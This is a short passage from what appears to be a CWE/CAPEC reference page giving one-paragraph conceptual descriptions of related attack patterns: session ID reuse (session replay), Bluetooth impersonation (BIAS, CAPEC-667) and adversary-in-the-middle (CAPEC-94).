This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list